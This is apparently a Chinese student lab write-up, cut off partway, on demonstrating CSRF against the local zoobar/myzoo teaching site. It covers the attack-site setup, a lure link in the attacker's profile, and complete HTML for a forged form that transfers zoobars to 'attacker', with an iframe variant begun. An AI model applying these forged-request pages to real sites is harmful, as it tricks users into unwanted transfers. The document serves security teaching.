实验要求:在zoobar网站上展示并防御CSRF攻击。请注意在防御时的粒度问题,防止所有人的token都一样;以及刷新太快,正常操作都失败。
一、实现CSRF攻击
前提:
我的myzoo网站的存储目录是:/home/web/myzoo
【大多数人的应该是/var/www/myzoo】
(一)攻击站点建立
1、在/home/web下建立html/csrf1.html,在csrf1.html完成攻击代码。
2、进入/etc/apache2/sites-available,打开myzoo.conf,在<VirtualHost *:80>中修改DocumentRoot为 /home/web/html
<VirtualHost *:80>
……
ServerAdmin webmaster@localhost
# DocumentRoot /var/www/html
# DocumentRoot /home/web/myzoo
DocumentRoot /home/web/html
……
</VirtualHost>
此时访问127.0.0.1就跳转到html文件夹的界面。
3、进入/etc,打开hosts,在最后添加 127.0.0.1 www.csrfljn.com
127.0.0.1 localhost
127.0.1.1 ljn-vm
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 www.myzoo.com
127.0.0.1 www.csrfljn.com
此时访问www.csrfljn.com可以跳转到csrf1.html界面
至此,攻击站点建立成功。
(二)诱惑设置
(1)在myzoo网站上注册一个名为 attacker 的用户,在Your profile中输入如下信息并提交,就构造了一个诱惑其他用户进行点击的链接。
<a href=http://www.csrfljn.com/csrf1.html target=”_blank”>Click to Win a surprise!</a>
备注:
添加target=”_blank”是为了在新页面打开网页,但是发现并没有能够在新页面打开,猜想是target方法被屏蔽了。
打开/home/web/myzoo下的transfer.php,在php代码中的$disallowed里面发现target确实被屏蔽了,将target从其中删除即可。
(2)其他用户在查看用户 attacker 的信息时,就会看到一个名为“Click to Win a surprise”的链接。
(3)用户点击这个链接,就会显示csrf1.html的内容。
至此,诱惑设置完成。
(三)攻击网站设计
1、最简单最直白的攻击——对应csrf1.html
(1)查看myzoo网站的transfer页面的源代码,复制其中的表单信息,并存储在csrf1.html中.
csrf1.html内容:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Win a Big Surprise!</title>
</head>
<body>
<p>Hello LJN 2019.12.22</p>
<form method="POST" name="transferform" target="" action="https://www.myzoo.com/transfer.php">
<p>Send <input name="zoobars" type="text" value="1" size="5"> zoobars</p>
<p>to <input name="recipient" type="text" value="attacker"></p>
<input type="submit" name="submission" value="Send">
</form>
</body>
</html>
(2)效果展示
a. 用户点击 attacker 中的链接,打开一个新的页面,如下所示:
b.用户单击“Send”按钮,界面跳转回myzoo网站的transfer界面,并且显示成功转出去一个币,用户的zoobar数目减少1个。
这种攻击方式未免太过于直白,用户也不是傻瓜,就会去点Send按钮,因此在以下的2 3 4中一次进行改进。
2、在本页面中直接显示——对应csrf2.html
通过<iframe></iframe>
标签实现。
(1)csrf2.html内容如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Win a Big Surprise!</title>
</head>
<body>
<p>Hello LJN 2019.12.22</p>
<iframe name="targe